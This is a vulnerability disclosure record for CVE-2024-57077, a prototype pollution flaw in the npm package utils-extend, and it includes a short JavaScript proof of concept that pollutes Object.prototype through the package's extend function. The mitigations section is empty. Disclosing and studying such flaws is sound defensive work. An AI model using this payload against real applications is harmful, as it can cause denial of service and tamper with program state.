utils-extend Prototype Pollution
Date: 2025-02
Affected: npm/utils-extend
Attack vector: dos
Category: vulnerability-disclosure
Severity: Critical
CVE: CVE-2024-57077
CWE: CWE-1321
CVSS: 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H)

The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence. ## PoC ```js async function exploit() { const utilsextend = require(\"utils-extend\"); const payload = JSON.parse('{\"__proto__\":{\"exploited\":true}}'); const result = await utilsextend.extend({}, payload); } await exploit(); ```


Mitigations:

Architectural layers (MAESTRO):